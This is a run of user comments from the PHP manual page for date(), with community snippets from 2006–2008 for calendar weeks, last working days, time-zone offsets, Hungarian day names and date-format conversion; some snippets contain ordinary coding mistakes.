    Trying: <?php echo $datep; ?> = <?php echo $date->format($format); ?><br>
    <?php
  }
?></div>
Rob A. 10-Jul-2008 09:38
Quick function for returning the names of the next 7 days of the week starting with today.

Returns an array that can be formatted to your liking.

<?php
/**
* Returns array of next 7 days starting with today
*
*/

function next_7_days() {
        // create array of day names. You can change these to whatever you want
    $days = array(
                            'Monday',
                            'Tuesday',
                            'Wednesday',
                            'Thursday',
                            'Friday',
                            'Saturday',
                            'Sunday');
    $today = date('N');
    for ($i=1;$i<$today;$i++) {

                // take the first element off the array
        $shift = array_shift($days);

                // ... and add it to the end of the array
        array_push($days,$shift);
    }
        // returns the sorted array
    return $days;
}
?>

It basically takes an array starting with Monday and shifts each day to the end of the array until the first element in the array is today.
con_tobe at yahoo dot com 09-Jul-2008 08:46
Doing $w-- for months ending on Sat won't hurt (i.e. if you're counting weeks as is the case below), but halocastle's code is perfectly fine as is and quite fast.  He/she uses $w as a key for the $weeks array.  "Halo" does this BEFORE $w++, so $w-- is superfluous as the loop has already ended.  For May, 2008, I get 5 weeks as expected...

Array
(
    [1] => Array
        (
            [4] => 1
            [5] => 2
            [6] => 3
        )

    [2] => Array
        (
            [0] => 4
            [1] => 5

------------OMITTED-----------------

            [4] => 22
            [5] => 23
            [6] => 24
        )

    [5] => Array
        (
            [0] => 25
            [1] => 26
            [2] => 27
            [3] => 28
            [4] => 29
            [5] => 30
            [6] => 31
        )

)

I guess the one pit-fall of the code is if you overlap months, say the following year, then $m-- makes perfect since...I think (haven't gotten that far...yet).

I modified "Halo's" code to include months, too (this is from a snippet that produces a three month calendar, hence the outer $months loop, omitted here).

<?php
$m = date('m');
$Y = date('Y');

// for() {months loop omitted
$var_date = mktime(0, 0, 0, $m, 1, $Y);
$month_name = date('F', $var_date);
$months[$month_name]['DAYS'] = date('t', $var_date);
$months[$month_name]['FIRST_DAY'] = date('w', $var_date);
//}
foreach($months as $month => $key) {
  $weeks = array();
  for($i = 1, $j = $key['FIRST_DAY'], $w = 1;$i <= $key['DAYS'];$i++) {
    $weeks[$w][$j] = $i;
    $j++;
    if($j == 7) {
      $j = 0;
      $w++;
    }
  }
  $months[$month]['WEEKS'] = $weeks;
}
?>

Enjoy!
halocastle at yahoo dot com 30-Jun-2008 09:20
Weeks and days for any month/year combo:

<?php
$m = 2; // February
$Y = 2008;

// constants used here for legibility, use $vars for dynamicon...
define('MONTH_DAYS',date('t', strtotime(date($m . '/01/' . $Y))));
// w:0->6 = Sun->Sat
define('MONTH_FIRST_DAY',date('w', strtotime(date($m . '/01/' . $Y))));

for($i = 1, $j = MONTH_FIRST_DAY, $w = 1;$i <= MONTH_DAYS;$i++) {
  $week[$w][$j] = $i;
  $j++;
  if($j == 7) {
    $j = 0;
    $w++;
  }
}
?>

print_r($week):
-----------------------
Array
(
    [1] => Array
        (
            [5] => 1
            [6] => 2
        )

    [2] => Array
        (
            [0] => 3
            [1] => 4
            [2] => 5
            [3] => 6
            [4] => 7
            [5] => 8
            [6] => 9
        )

    [3] => Array
        (
            [0] => 10
            [1] => 11
            [2] => 12
            [3] => 13
            [4] => 14
            [5] => 15
            [6] => 16
        )

    [4] => Array
        (
            [0] => 17
            [1] => 18
            [2] => 19
            [3] => 20
            [4] => 21
            [5] => 22
            [6] => 23
        )

    [5] => Array
        (
            [0] => 24
            [1] => 25
            [2] => 26
            [3] => 27
            [4] => 28
            [5] => 29
        )

)

[EDIT BY danbrown AT php DOT net: In a note dated 03-JUL-08, (dmagick AT gmail DOT com) offered the following amendment to this note.]

[I've updated this] code as it doesn't take into account when a month finishes on a Saturday (eg May 2008).

<?php
$start_date = mktime(0, 0, 0,$start_month, 1, $start_year);

$days_in_month = date('t', $start_date);
$month_first_day = date('w', $start_date);

$j = $month_first_day;
$num_weeks = 1;

for($i = 1; $i <= $days_in_month; $i++) {
    $j++;
    if($j == 7) {
        $j = 0;
        $num_weeks++;
    }
}

// if the last day of the month happens to be a Saturday,
// take one off the number of weeks
// because it was being added inside the for loop.
if ($j == 0) {
    $num_weeks--;
}
?>
Kavi Siegel 29-Jun-2008 07:18
I wrote the following function to show a series of drop down boxes to select the date. When provided with a timestamp, that date is selected by default, when none is provided, the current date is selected.

<?php
function chooseDate($timestamp = ""){
    if($timestamp == ""){
        $timestamp = time();
    }
    $months = array(null, 'Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec');
    unset($months[0]);
    print_r($months);
    $out = '<select name="month">';
    foreach($months as $key => $month){
        if($month == date('M', $timestamp)){
            $out .= '<option value="'.$key.'" selected="selected">'.$month.'</option>';
        }else{
            $out .= '<option value="'.$key.'">'.$month.'</option>';
        }
    }
    $out .= '</select><select name="days">';
    for($i = 1; $i <= 32; $i++){
        if($i == date('j', $timestamp)){
            $out .= '<option value="'.$i.'" selected="selected">'.$i.'</option>';
        }else{
            $out .= '<option value="'.$i.'">'.$i.'</option>';
        }
    }
    $out .= "</select><select name='year'>";
    for($i = date('Y'); $i >= 1970; $i--){
        if($i == date('Y', $timestamp)){
            $out .= '<option value="'.$i.'" selected="selected">'.$i.'</option>';
        }else{
            $out .= '<option value="'.$i.'">'.$i.'</option>';
        }
    }
    $out .= "</select>";
    return $out;
}
?>

Usage is simple:

<?php
echo chooseDate(); // Will select current date
echo chooseDate(1149566400); // Will select June 6th, 2006
?>
kontakt at arthur minus schiwon dot de 18-Jun-2008 03:29
to get the week of the month simply use:
ceil( date("j") / 7 );
diego at diego dot eng dot br 09-Jun-2008 04:27
I made a small code to get the last working day of the month:

<?php

$times = strtotime(date("Y")."-".date("m")."-".date("t"));
for ($lastworkingday=0;$lastworkingday==0;$times-=86400)
   if (date("w",$times)!=0 && date("w",$times)!=6) $lastworkingday = date("j",$times);
print $lastworkingday;

?>
phil dot taylor at enilsson dot com 25-May-2008 10:37
Found this helpful when converting unix dates for use with the ical file format.

<?php
// Converts a unix timestamp to iCal format (UTC) - if no timezone is
// specified then it presumes the uStamp is already in UTC format.
// tzone must be in decimal such as 1hr 45mins would be 1.75, behind
// times should be represented as negative decimals 10hours behind
// would be -10

    function unixToiCal($uStamp = 0, $tzone = 0.0) {

        $uStampUTC = $uStamp + ($tzone * 3600);
        $stamp  = date("Ymd\THis\Z", $uStampUTC);

        return $stamp;

    }
?>
chubby at chicks dot com 23-May-2008 06:54
<?php
/**
     * Checks wether a date is between an interval
     *
     * Usage:
     *
     * // check if today is older than 2008/12/31
     * var_dump(currentDayIsInInterval('2008/12/31'));
     * // check if today is younger than 2008/12/31
     * var_dump(currentDayIsInInterval(null,'2008/12/31'));
     * // check if today is between 2008/12/01 and 2008/12/31
     * var_dump(currentDayIsInInterval('2008/12/01','2008/12/31'));
     *
     * Will trigger errors if date is in wrong format, notices if $begin > $end
     *
     * @param string $begin Date string as YYYY/mm/dd
     * @param string $end Date string as YYYY/mm/dd
     * @return bool
     */
function currentDayIsInInterval($begin = '',$end = '')
{
        $preg_exp = '"[0-9][0-9][0-9][0-9]/[0-9][0-9]/[0-9][0-9]"';
        $preg_error = 'Wrong parameter passed to function '.__FUNCTION__.' : Invalide date
format. Please use YYYY/mm/dd.';
        $interval_error = 'First parameter in '.__FUNCTION__.' should be smaller than
second.';
        if(empty($begin))
        {
                $begin = 0;
        }
        else
        {
                if(preg_match($preg_exp,$begin))
                {
                        $begin = (int)str_replace('/','',$begin);
                }
                else
                {
                        trigger_error($preg_error,E_USER_ERROR);
                }
        }
        if(empty($end))
        {
                $end = 99999999;
        }
        else
        {
                if(preg_match($preg_exp,$end))
                {
                        $end = (int)str_replace('/','',$end);
                }
                else
                {
                        trigger_error($preg_error,E_USER_ERROR);
                }
        }
        if($end < $begin)
        {
                trigger_error($interval_error,E_USER_WARNING);
        }
        $time = time();
        $now = (int)(date('Y',$time).date('m',$time).date('j',$time));
        if($now > $end or $now < $begin)
        {
                return false;
        }
        return true;
}
?>
wilson dot p dot pereira at itelefonica dot com dot br 21-May-2008 08:37
The function below extracts any date time value basead in the string format.
Returns an associative array with day,month,year,hour,min and seg separated.

<?php
function ExtractDateTimeByFormat($strDateTime, $strFormat="dmYHis")
{
 //extract the format
 $i = 0;
 $aFieldOrder = array();
 $nFields = 0;
        $strExtraction = "";
        while(isset($strFormat[$i]))
        {
            $strField = $strFormat[$i];
            switch ( strtolower($strField) )
            {
                case "D";
                case "d";
                    $aFieldOrder[$nFields] = "d";
                    $nFields++;
                    $strExtraction .= "%d";
                    if(isset($strFormat[$i+1]))
                    {
                        $strExtraction .= "%*1c";
                    }
                break;

                case "M";
                case "m";
                    $aFieldOrder[$nFields] = "m";
                    $nFields++;
                    $strExtraction .= "%d";
                    if(isset($strFormat[$i+1]))
                    {
                        $strExtraction .= "%*1c";
                    }
                break;

                case "y";
                case "Y";
                    $aFieldOrder[$nFields] = "y";
                    $nFields++;
                    $strExtraction .= "%4d";
                    if(isset($strFormat[$i+1]))
                    {
                        $strExtraction .= "%*1c";
                    }
                break;

                case "h";
                case "H";
                    $aFieldOrder[$nFields] = "h";
                    $nFields++;
                    $strExtraction .= "%d";
                    if(isset($strFormat[$i+1]))
                    {
                        $strExtraction .= "%*1c";
                    }
                break;

                case "i";
                    $aFieldOrder[$nFields] = "i";
                    $nFields++;
                    $strExtraction .= "%d";
                    if(isset($strFormat[$i+1]))
                    {
                        $strExtraction .= "%*1c";
                    }
                break;

                case "S";
                case "s";
                    $aFieldOrder[$nFields] = "s";
                    $nFields++;
                    $strExtraction .= "%d";
                    if(isset($strFormat[$i+1]))
                    {
                        $strExtraction .= "%*1c";
                    }
                break;
            }
            $i++;
        }

    $aValues = array();
    $aValues = sscanf($strDateTime,$strExtraction);

    return array_combine($aFieldOrder,$aValues);

}
?>
wulf dot kaiser at mpimf-heidelberg dot mpg dot de 21-May-2008 01:00
For output formatting of a SAMP based seminar announcement system, i had to fetch the date of every friday of a given month in a given year. Here's what i did:

<?php

$givenYear = $_GET["givenYear"]; # assume "2006"
$givenMonth = $_GET["givenMonth"]; # assume "12"

if ($givenMonth != '12') {

    $nextGivenMonth = "1";
    $nextGivenYear = $givenYear + 1;}

    else {

        $nextGivenMonth = $givenMonth + 1;
        $nextGivenYear = $givenYear;}

        # Get the first weekday of the month

        $firstDayOfMonth = date("d", mktime(0, 0, 0, $givenMonth, 1, $givenYear));
        $firstWeekDayOfMonth = date("l", mktime(0, 0, 0, $givenMonth, 1, $givenYear));

        # Count days to first Friday

        switch ($firstWeekDayOfMonth) {

            case 'Monday': $numOfDaysToFirstFriday = "4"; break;
            case 'Tuesday': $numOfDaysToFirstFriday = "3"; break;
            case 'Wednesday': $numOfDaysToFirstFriday = "2"; break;
            case 'Thursday': $numOfDaysToFirstFriday = "1"; break;
            case 'Friday': $numOfDaysToFirstFriday = "0"; break;
            case 'Saturday': $numOfDaysToFirstFriday = "6"; break;
            case 'Sunday': $numOfDaysToFirstFriday = "5"; break;}

            # Get first Friday's date

            $numOfDaysToFirstFriday = 1 + $numOfDaysToFirstFriday;
            $firstFridayOfMonthDate = date("d.m.Y", mktime(0, 0, 0, $givenMonth, $numOfDaysToFirstFriday, $givenYear));
            $firstFridayOfMonthDay = date("d", mktime(0, 0, 0, $givenMonth, $numOfDaysToFirstFriday, $givenYear));

            # Get the last weekday of the month

            $lastDayOfMonth =  date("d", strtotime("-1 day", strtotime(date("$nextGivenYear-$nextGivenMonth-01"))));
            $lastWeekDayOfMonth =  date("l", strtotime("-1 day", strtotime(date("$nextGivenYear-$nextGivenMonth-01"))));

            # Count days to last Friday

            switch ($lastWeekDayOfMonth) {

                case 'Monday': $numOfDaysToLastFriday = "3"; break;
                case 'Tuesday': $numOfDaysToLastFriday = "4"; break;
                case 'Wednesday': $numOfDaysToLastFriday = "5"; break;
                case 'Thursday': $numOfDaysToLastFriday = "6"; break;
                case 'Friday': $numOfDaysToLastFriday = "0"; break;
                case 'Saturday': $numOfDaysToLastFriday = "1"; break;
                case 'Sunday': $numOfDaysToLastFriday = "2"; break;}

                # Get last Friday's date

                $numOfDaysToLastFriday = $lastDayOfMonth - $numOfDaysToLastFriday;
                $lastFridayOfMonthDate = date("d.m.Y", mktime(0, 0, 0, $givenMonth, $numOfDaysToLastFriday, $givenYear));
                $lastFridayOfMonthDay = date("d", mktime(0, 0, 0, $givenMonth, $numOfDaysToLastFriday, $givenYear));

                $divisor = $lastFridayOfMonthDay - $firstFridayOfMonthDay;
                $divisor = $divisor / 7;
                global $divisor;

                # Get the dates of all Fridays in the given Month (can be either 4 or 5)

                if ($divisor=='3') {

                    $firstFridayOfMonth = date("Y/m/d", mktime(0, 0, 0, $givenMonth, $numOfDaysToFirstFriday, $givenYear));
                    $secondFridayOfMonth = date("Y/m/d", mktime(0, 0, 0, $givenMonth, $lastFridayOfMonthDay - 14, $givenYear));
                    $thirdFridayOfMonth = date("Y/m/d", mktime(0, 0, 0, $givenMonth, $lastFridayOfMonthDay - 7, $givenYear));
                    $lastFridayOfMonth = date("Y/m/d", mktime(0, 0, 0, $givenMonth, $numOfDaysToLastFriday, $givenYear));}

                    else if ($divisor=='4') {

                        $firstFridayOfMonth = date("Y/m/d", mktime(0, 0, 0, $givenMonth, $numOfDaysToFirstFriday, $givenYear));
                        $secondFridayOfMonth = date("Y/m/d", mktime(0, 0, 0, $givenMonth, $lastFridayOfMonthDay - 21, $givenYear));
                        $thirdFridayOfMonth = date("Y/m/d", mktime(0, 0, 0, $givenMonth, $lastFridayOfMonthDay - 14, $givenYear));
                        $fourthFridayOfMonth = date("Y/m/d", mktime(0, 0, 0, $givenMonth, $lastFridayOfMonthDay - 7, $givenYear));
                        $lastFridayOfMonth = date("Y/m/d", mktime(0, 0, 0, $givenMonth, $numOfDaysToLastFriday, $givenYear));}

?>

Comments, suggestions and bugfixes are welcome ;-))
Anonymous 29-Feb-2008 01:05
## This will produce the first day of last month and the last day of last month
## 2008-01-01 2008-01-31
<?php
echo date("Y-m-01", strtotime("-1 month", strtotime(date("Y-m-d"))))." ".date("Y-m-d", strtotime("-1 day", strtotime(date("Y-m-01")))) ?>
jc 31-Dec-2007 06:28
date("W") returns the iso8601 week number, while date("Y") returns the _current_ year. This can lead to odd results. For example today (dec 31, 2007) it returns 1 for the week and of course 2007 for the year. This is not wrong in a strict sense because iso defines this week as the first of 2008 while we still have 2007.

So, if you don't have another way to safely retrieve the year according to the iso8061 week-date - strftime("%G") doesn't work on some systems -, you should be careful when working with date("W").

For most cases strftime("%W") should be a safe replacement.

[edit: Much easier is to use "o" (lower case O) instead of "Y"]
ZZigc 28-Dec-2007 10:38
I wanted to get the number of weeks for particular year.

Example with date():
<?php

 $weeks_in_year = date("W", strtotime("12/31/2007"));

?>

It works for years smaller than current year, but returns '01' when year was the same or bigger as current year.
Not sure if I missed something or maybe misused this function but I couldn't get it to work even with different date representations.

So the workaround was using different function.

Example with strftime():
<?php

 $weeks_in_year = strftime("%W",strtotime("12/31/2007"));

?>

Now it works as a charm.

PHP v.4.4.7

[EDIT BY danbrown AT php DOT net: In a note dated 25-JAN-09, "Juan Paredes" offered the following information as an amendment.]

Complementing the information [in this note], if you want to calculate the number of weeks in a given year, according to the week definition by ISO 8601, the following should be enough:

date('W', mktime(0,0,0,12,28,$year) );

(the last week on a give year always contains 28-Dec)
bikinyboy at example dot com 11-Dec-2007 07:44
This function is like date, but it "speaks" Hungarian (or an other language)

<?php
/*
  these are the hungarian additional format characters
  ö: full textual representation of the day of the week
  Ö: full textual representation of the day of the week (first character is uppercase),
  ő: short textual representation of the day of the week,
  Ő: short textual representation of the day of the week (first character is uppercase),
  ü: full textual representation of a month
  Ü: full textual representation of a month (first character is uppercase),
  ű: short textual representation of a month
  Ű: short textual representation of a month (first character is uppercase),
*/
function date_hu($formatum, $timestamp=0) {
  if (($timestamp <= -1) || !is_numeric($timestamp)) return '';
  $q['ö'] = array(-1 => 'w', 'vasárnap', 'hétfő', 'kedd', 'szerda', 'csütörtök', 'péntek', 'szombat');
  $q['Ö'] = array(-1 => 'w', 'Vasárnap', 'Hétfő', 'Kedd', 'Szerda', 'Csütörtök', 'Péntek', 'Szombat');
  $q['ő'] = array(-1 => 'w', 'va', 'hé', 'ke', 'sze', 'csü', 'pé', 'szo');
  $q['Ő'] = array(-1 => 'w', 'Va', 'Hé', 'Ke', 'Sze', 'Csü', 'Pé', 'Szo');
  $q['ü'] = array(-1 => 'n', '', 'január', 'február', 'március', 'április', 'május', 'június', 'július', 'augusztus', 'szeptember', 'október', 'november', 'december');
  $q['Ü'] = array(-1 => 'n', '', 'Január', 'Február', 'Március', 'Április', 'Május', 'Június', 'Július', 'Augusztus', 'Szeptember', 'Október', 'November', 'December');
  $q['ű'] = array(-1 => 'n', '', 'jan', 'febr', 'márc', 'ápr', 'máj', 'júni', 'júli', 'aug', 'szept', 'okt', 'nov', 'dec');
  $q['Ű'] = array(-1 => 'n', '', 'Jan', 'Febr', 'Márc', 'Ápr', 'Máj', 'Júni', 'Júli', 'Aug', 'Szept', 'Okt', 'Nov', 'Dec');

  if ($timestamp == 0)
    $timestamp = time();
  $temp = '';
  $i = 0;
  while ( (strpos($formatum, 'ö', $i) !== FALSE) || (strpos($formatum, 'Ö', $i) !== FALSE) ||
          (strpos($formatum, 'ő', $i) !== FALSE) || (strpos($formatum, 'Ő', $i) !== FALSE) ||
          (strpos($formatum, 'ü', $i) !== FALSE) || (strpos($formatum, 'Ü', $i) !== FALSE) ||
          (strpos($formatum, 'ű', $i) !== FALSE) || (strpos($formatum, 'Ű', $i) !== FALSE)) {
    $ch['ö']=strpos($formatum, 'ö', $i);
    $ch['Ö']=strpos($formatum, 'Ö', $i);
    $ch['ő']=strpos($formatum, 'ő', $i);
    $ch['Ő']=strpos($formatum, 'Ő', $i);
    $ch['ü']=strpos($formatum, 'ü', $i);
    $ch['Ü']=strpos($formatum, 'Ü', $i);
    $ch['ű']=strpos($formatum, 'ű', $i);
    $ch['Ű']=strpos($formatum, 'Ű', $i);
    foreach ($ch as $k=>$v)
      if ($v === FALSE)
        unset($ch[$k]);
    $a = min($ch);
    $temp .= date(substr($formatum, $i, $a-$i), $timestamp) . $q[$formatum[$a]][date($q[$formatum[$a]][-1], $timestamp)];
    $i = $a+1;
  }
  $temp .= date(substr($formatum, $i), $timestamp);
  return $temp;
}

echo date_hu('Y. ü j. (ö) G:i');
?>
redcore at gmail dot com 19-Nov-2007 05:24
For those of us who don't have 5.x installed (that puts a colon in the time zone)...

<?php
$timezone = date("O"); // get timezone
$timezone_end = substr($timezone, -2, 2); // get last two numbers
$timezone= substr($timezone, 0, -2); // get first half
echo $timezone = $timezone . ":" . $timezone_end; // add colon
?>
pierrotevrard at gmail dot com 03-Jul-2007 04:11
For people who used "z" format...

The real range of "z" key format is 0 to 365 (instead of 366) and "z" represent the number of spent days in the year.
See this examples :

<?php
define ("\n" , NL );
print '<pre>';

print '"z" format interpretation:' . NL . NL;

print 'On 0 timestamp: "' . date( 'z : Y-m-d' , 0 ) . '"' . NL;
//show: On 0 timestamp: "0 : 1970-01-01"

print 'On second unix day: "' . date( 'z : Y-m-d' , 3600*24 ) . '"' . NL;
//show: On second unix day: "1 : 1970-01-02"

print 'On the last day of a leap year: "' . date( 'z : Y-m-d' , mktime( 23, 59, 59, 12, 31, 2000 ) ) . '"' . NL;
//show: On the last day of a leap year: "365 : 2000-12-31"

print 'On the day after the last day of a leap year: "' . date( 'z : Y-m-d' , mktime( 23, 59, 59, 12, 31+1, 2000 ) ) . '"' . NL;
//show: On the day after the last day of a leap year: "0 : 2001-01-01"

print '</pre>';

?>
jcwebb at dicoe dot com 19-Jun-2007 10:48
i needed the day (eg. 27th) of the last Monday of a month
<?php
$d=cal_days_in_month(CAL_GREGORIAN,$m,$y); // days in month
if (date('l',mktime(0,0,0,$m,$d,$y))=='Monday'): $finalmonday=$d;
else: $finalmonday=date('d',strtotime('last Monday',mktime(0,0,0,$m,$d,$y))); // day(date) of last monday of month, eg 26
endif;
?>
this also works...
<?php
$finalmonday=date('d',strtotime('last Monday',mktime(0,0,0,$m,($d+1),$y)));
//the '$d+1' is to catch the last day IS a monday (eg. dec 2007)
?>

Hope it helps, BigJonMX
boris at psyonline dot ru 14-Jun-2007 08:05
<?php

/**
 * Get date in RFC3339
 * For example used in XML/Atom
 *
 * @param integer $timestamp
 * @return string date in RFC3339
 * @author Boris Korobkov
 * @see http://tools.ietf.org/html/rfc3339
 */
function date3339($timestamp=0) {

    if (!$timestamp) {
        $timestamp = time();
    }
    $date = date('Y-m-d\TH:i:s', $timestamp);

    $matches = array();
    if (preg_match('/^([\-+])(\d{2})(\d{2})$/', date('O', $timestamp), $matches)) {
        $date .= $matches[1].$matches[2].':'.$matches[3];
    } else {
        $date .= 'Z';
    }
    return $date;

}

?>
john at hotmail dot com 12-Jun-2007 06:55
Just a small addition to dmitriy. If the present date is in daylight saving time, and the date in the past is not, the result will not be a whole number by dividing by 86400. It will be something like 48.958333333. This is because the day in which it changes from normal to daylight saving time is one hour longer than normal (90000 secs) and the opposite is true when changing back (the day would be one hour shorter - 82800 secs).

If you want a whole number of days use the following instead:

<?php
$digest_date = "2007-01-01";
$date_diff = round( abs(strtotime(date('y-m-d'))-strtotime($digest_date)) / 86400, 0 );
?>
dmitrid at dont_show dot com 10-Mar-2007 12:14
Note for wips week limits function:
I had to run it over 52 weeks of the year and it was very slow so I've modified to improve:

<?php
function week_limits($weekNumber, $year, $pattern)
{
    $pattern = ($pattern) ? $pattern : "m/d";
    $stday = 7 * $weekNumber - 7;
    $stDayNumber = date("w", mktime(0,0,0,1, 1+$stday, $year));
    $stUtime = mktime(0,0,0,1,1+$stday-$stDayNumber, $year);
    $start_time = date($pattern, $stUtime);
    $end_time = date($pattern, $stUtime+6*24*60*60);
   return array($start_time, $end_time);
}//week_limits()
?>
code at ashleyhunt dot co dot uk 17-Jan-2007 01:22
I wanted to shift an sql date forward by a set time period.
This is how I achived it... well handy.

<?php
function sql_date_shift($date, $shift)
{
return date("Y-m-d H:i:s" , strtotime($shift, strtotime($date)));
}

// example usage

$date = "2006-12-31 21:00";
$shift "+6 hours"; // could be days, weeks... see function strtotime() for usage

echo sql_date_shift($date, $shift);

// will output: 2007-01-01 03:00:00
?>

Hope it is of use,
Ashley
28-Nov-2006 11:26
if you are sending your data to a database, you can just send time() and then use strftime() to turn the time() string into readable time format.

check both time() and strftime() functions both offer more or less same functionality as date(). date() can also be used with time() strings to display time in the past.

more or less with something like:

date("j F, Y - g:ia", $data['date_quoted'])

where time() = $data['date_quoted'] and time() is the exact time date when the string is executed. if this is done towards a database, the time() stored is the actual server time upon script execution, no matter the time set in the individual computer, this will record server time, unless a gmt is set in newer versions of php (5 and up).
jack at jtr dot de 26-Nov-2006 01:30
<?php
/**
     * Converts a date string from one format to another (e.g. d/m/Y => Y-m-d, d.m.Y => Y/d/m, ...)
     *
     * @param string $date_format1
     * @param string $date_format2
     * @param string $date_str
     * @return string
     */
    function dates_interconv( $date_format1, $date_format2, $date_str )
    {
        $base_struc     = split('[/.-]', $date_format1);
        $date_str_parts = split('[/.-]', $date_str );

        print_r( $base_struc ); echo "<br>";
        print_r( $date_str_parts ); echo "<br>";

        $date_elements = array();

        $p_keys = array_keys( $base_struc );
        foreach ( $p_keys as $p_key )
        {
            if ( !empty( $date_str_parts[$p_key] ))
            {
                $date_elements[$base_struc[$p_key]] = $date_str_parts[$p_key];
            }
            else
                return false;
        }

        $dummy_ts = mktime( 0,0,0, $date_elements['m'],$date_elements['d'],$date_elements['Y']);

        return date( $date_format2, $dummy_ts );
    }

    $df_src = 'd/m/Y';
    $df_des = 'Y-m-d';

    $iso_date = dates_interconv( $df_src, $df_des, '25/12/2005');
?>

output:

2005-12-25
admin [at] xorath [dot] com 23-Oct-2006 08:13
If you want to use the date function to fix the RFC-822 format from an allready made RSS 2.0 feed you can do it like this..

Maybe getting an external feed from another asp or php file that you cannot change, but want to have the correct dateformat for anyway.

<?php
    header('Content-type: application/rss+xml; charset=iso-8859-1');
    $xmlfile = simplexml_load_file($_GET[feedURL]);
    for ( $i = 0; $i < count($xmlfile->channel->item); $i++ )
        $xmlfile->channel->item[$i]->pubDate = date("r",strtotime((string)($xmlfile->channel->item[$i]->pubDate)));
    echo $xmlfile->asXML();
?>

Then simply link to your rss feed like this
filename.php?feedURL=http://www.example.com/rss.asp
filename.php?feedURL=http://www.example.com/rss.xml
filename.php?feedURL=http://www.example.com/rss.php

or what you want. Hope anyone can take advantage of this, I wrote it to help a friend which had date stored in database only by yyyy-mm-dd hh:mm:ss and retrieved via asp from another script.
emailfire at gmail dot com 07-Oct-2006 09:39
To use the date("N") function in PHP < 5.1.0 use:

<?php
function dayofweek() {
$days = array("Mon", "Tue", "Wed", "Thu", "Fri", "Sat", "Sun");
return array_search(date("D"), $days) + 1;
}
?>
Michiel 28-Sep-2006 08:08
If you want to count quarters between dates you can use the following:

<?php
function countQuarters($begindate, $enddate)
        {
            if (!isset($begindate) || empty($begindate) || !isset($enddate) || empty($enddate))
                return -1;

            $countyears = date("Y", strtotime($enddate)) - date("Y", strtotime($begindate));
            $quarters = 0;

            if (date("Y", strtotime($enddate)) == date("Y", strtotime($begindate)))
            {
                if (date("m", strtotime($enddate)) != date("m", strtotime($begindate)))
                {
                    if (date("m", strtotime($enddate)) > date("m", strtotime($begindate)))
                    {
                        $difference = date("m", strtotime($enddate)) - date("m", strtotime($begindate));

                        $quarters += ceil((int) $difference / 4);
                    }
                    else
                    {
                        return -1;
                    }
                }
            }
            else
            {
                $quarters = (int) $countyears * 4;
                if (date("m", strtotime($enddate)) != date("m", strtotime($begindate)))
                {
                    if (date("m", strtotime($enddate)) > date("m", strtotime($begindate)))
                    {
                        $difference = date("m", strtotime($enddate)) - date("m", strtotime($begindate));

                        $quarters += ceil((int) $difference / 4);
                    }
                    else
                    {
                        $afterbegin = 12 - (int) date("m", strtotime($begindate));
                        $untilend = date("m", strtotime($enddate));

                        $quarters = ($quarters - 4) + ceil(($afterbegin + $untilend) / 4);
                    }
                }
            }

            return $quarters;
        }
?>
russ at isitaboat dot co dot uk 06-Sep-2006 07:18
Easy way of switching between mysql and "normal" dates (english, not american)...

<?php
function flipdate($dt, $seperator_in = '-', $seperator_out = '-')
{
return implode($seperator_out, array_reverse(explode($seperator_in, $dt)));
}
?>
James 29-Aug-2006 05:45
Slightly modified the code provided by "martin at smttuk dot com" so that you can give the function a date and/or time that you choose;

<?php
    function zonedate($layout, $countryzone, $daylightsaving, $time)
    {
        if($daylightsaving) {
            $daylight_saving = date('I');
            if($daylight_saving){ $zone=3600*($countryzone+1); }
        }
        else {
            if( $countryzone>>0){ $zone=3600*$countryzone; }
            else { $zone=0; }
        }
        if(!$time) { $time = time(); }
        $date = gmdate($layout, $time + $zone);
        return $date;
    }
?>

For example if I wanted the time and date of my birthday in New Zealand time;

<?php
    echo zonedate('Y-m-d H:i:s',-12,true,mktime(18,46,0,9,7,1986));
?>
Corey 27-Aug-2006 05:55
It's pretty simple, but in case anybody else is having problems getting the exact time they need because of DST (ex: on a Windows box in an area without DST), you can fix it all in a single line. Example...

<?php
    echo "The time is " . date((date("I") ? intval(date("g")) - 1 : date("g")) . ":i m/d/y") . ".";
?>
martin at smttuk dot com 25-Aug-2006 04:30
<?php
/* Country Zone : Time Zone Name
-12 : Dateline Standard
-11 : Samoa Standard Time
-10 : Hawaiian Standard Time
-8 : Pacific Standard Time
-7 : Mexican Standard Time, Mountain Standard Time
-6 : Central Standard Time, Mexico Standard Time
-5 : Eastern Standard Time Eastern Time, SA Pacific Standard Time
-4 : Atlantic Standard Time, SA Western Standard Time, Pacific SA Standard Time
-3.5 : Newfoundland Standard Time
-3 : SA Eastern Standard Time, E. South America Standard Time
-2 : Mid:Atlantic Standard Time
-1 : Azores Standard Time, Cape Verde Standard Time
0 : Universal Coordinated Time, Greenwich Mean Time
1 : Romance Standard Time, Central Africa Standard Time, Central European Standard Time
2 : Egypt Standard Time, South Africa Standard Time, E. Europe Standard Time, FLE Standard Time, GTB Standard Time
3 : Arab Standard Time, E. Africa Standard Time, Arabic Standard Time, Russian Standard Time
3.5 : Iran Standard Time
4 : Arabian Standard Time, Caucasus Standard Time, Afghanistan Standard Time
5 : West Asia Standard Time
5.5 : India Standard Time
5.75 : Nepal Standard Time
6 : Central Asia Standard Time
6.5 : Myanmar Standard Time
7 : SE Asia Standard Time, North Asia Standard Time
8 : China Standard Time, W. Australia Standard Time, Singapore Standard Time, Taipei Standard Time, North Asia East Standard Time
9 : Tokyo Standard Time, Korea Standard Time, Yakutsk Standard Time
9.5 : AUS Central Standard Time, Cen. Australia Standard Time
10 : AUS Eastern Standard Time, E. Australia Standard Time
West Pacific Standard Time, Tasmania Standard Time, Vladivostok Standard Time
11 : Central Pacific Standard Time
12 : Fiji Standard Time, New Zealand Standard Time
13 : Tonga Standard Time

* How to use

   $layout =
       Same function as date : http://php.net/manual/en/function.date.php
   $countryzone =
       Country Zone from Above Eg: 0 ,for Greenwich Mean Time
   $daylightsaving =
       Set true if the Country has daylight saving it will auto change.
       Set false if the Country dose not have daylight saving or wish to it Disabled.
       (About Daylight Saving go here : http://www.timeanddate.com/time/aboutdst.html)
   Call Function:
       zonedate($layout, $countryzone, $daylightsaving);

   E.g.
   If GMT = Friday 25th of August 2006 10:23:17 AM
   When Function called:
   // West Asia Standard Time (Country Uses daylight saving)
       echo zonedate("l dS \of F Y h:i:s A", 5, true);
   //Output : Friday 25th of August 2006 03:23:17 PM
*/

function zonedate($layout, $countryzone, $daylightsaving)
{
if ($daylightsaving){
$daylight_saving = date('I');
if ($daylight_saving){$zone=3600*($countryzone+1);}
}
else {
   if ($countryzone>>0){$zone=3600*$countryzone;}
       else {$zone=0;}
}
